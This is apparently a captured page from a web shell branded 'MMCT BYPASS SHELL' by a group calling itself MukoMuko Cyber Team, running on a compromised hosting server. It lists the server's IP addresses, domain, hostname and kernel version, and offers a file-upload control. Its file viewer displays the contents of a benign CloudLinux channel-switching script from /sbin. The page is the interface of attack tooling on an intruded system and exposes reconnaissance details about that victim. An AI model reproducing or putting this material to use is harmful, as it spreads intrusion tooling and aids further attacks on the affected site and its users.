MMCT BYPASS SHELL
:
216.73.216.98
:
91.213.11.35 / forkliftsafetysystems.com
:
Linux mgh-web6.maghost.ro 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
:
/
sbin
/
UPLOAD FILE:
files >> //sbin/cln-switch-channel
#!/usr/libexec/platform-python import sys import optparse import json import time from pyexpat import ExpatError sys.path.append("/usr/share/rhn/") from up2date_client import rhnserver from up2date_client import up2dateAuth from up2date_client import up2dateErrors from up2date_client import up2dateUtils from up2date_client import rhnreg from up2date_client import config up2date_path = '/etc/sysconfig/rhn/up2date' valid_channels = ['7', '8', '9'] def print_message(message): print( json.dumps({'result': message, 'timestamp': time.time()}) ) def print_error_and_exit(error, retcode=1): print_message(error) sys.exit(retcode) def sanity_check(): """ Check CloudLinux OS Check CL7 """ version = up2dateUtils.getVersion() release = up2dateUtils.getOSRelease() if version not in valid_channels or release != 'cloudlinux-release': valid_version_string = '/'.join(valid_channels) print_error_and_exit('Version upgrade is available for CloudLinux OS {} only'.format(valid_version_string), 10) def set_version_override(value): up2date_conf = config.Config(up2date_path) up2date_conf.set('versionOverride', value) up2date_conf.save() def main(): """ Return codes: 1: Generic errors; with details printed 2: Unable to read system id 3: Switch channel error 10: Sanity check failed """ retcode = 0 parser = optparse.OptionParser() parser.add_option('-t', '--target-channel', dest='channel', help='Channel to switch to') parser.add_option('-f', '--force', action='store_true', default=False, dest='force', help='Run command without additional checks') parser.add_option('-o', '--override', action='store_true', default=False, dest='override', help='Set versionOverride config value') parser.add_option('-l', '--localonly', action='store_true', default=False, dest='localonly', help='Override channel version only locally, without CLN calls.') options, args = parser.parse_args() if not options.force: sanity_check() if not options.channel or options.channel not in valid_channels: print_error_and_exit("Invalid usage, please provide [-t|--target-channel] argument;" " valid values are: %s" % valid_channels) if options.override and options.localonly: print_error_and_exit("--override option is not compatible with --localonly") system_id_xml = up2dateAuth.getSystemId() if not system_id_xml: print_error_and_exit('Unable to read system id, please make sure that your server is registered in CLN', 2) if options.channel in valid_channels: if options.override: set_version_override(options.channel) if options.localonly: switch_channel_locally(options.channel) else: retcode = switch_channel(system_id_xml, options.channel) switch_channel_locally(None) return retcode return 0 def switch_channel(system_id, channel): """ :param system_id: str, XML :param channel: str, intable """ retcode = 3 try: rhn_server = rhnserver.RegistrationRhnServer() ret = rhn_server.registration.upgrade_version(system_id, channel) if '<?xml version="1.0"?>' in ret: # XML returned on success, the same as `system_id` write_status = rhnreg.writeSystemId(ret) if write_status: print_message('Channel updated to %s' % channel) retcode = 0 except ExpatError as _e: # CLN returns empty response when success if 'no element found' not in _e.message: raise return retcode def switch_channel_locally(channel): up2date_conf = config.Config(up2date_path) if channel is not None: up2date_conf.set('channelOverride', 'cloudlinux-x86_64-server-%s' % channel) else: up2date_conf.set('channelOverride', '') up2date_conf.save() if __name__ == "__main__": try: _rc = main() sys.exit(_rc) except up2dateErrors.UnknownMethodException as e: print_error_and_exit('Unsupported CLN method. %s \n' 'Contact CloudLinux support if you require further assistance: ' 'https://cloudlinux.zendesk.com/' % str(e)) except up2dateErrors.RhnServerException as e: print_error_and_exit('Server exception, reason: %s \n' 'Contact CloudLinux support if you require further assistance: ' 'https://cloudlinux.zendesk.com/' % str(e)) except Exception as e: print_error_and_exit('Failed with common exception: %s \n' 'Contact CloudLinux support if you require further assistance: ' 'https://cloudlinux.zendesk.com/' % str(e))
SonySec07 | MukoMuko Cyber Team | Ver3.2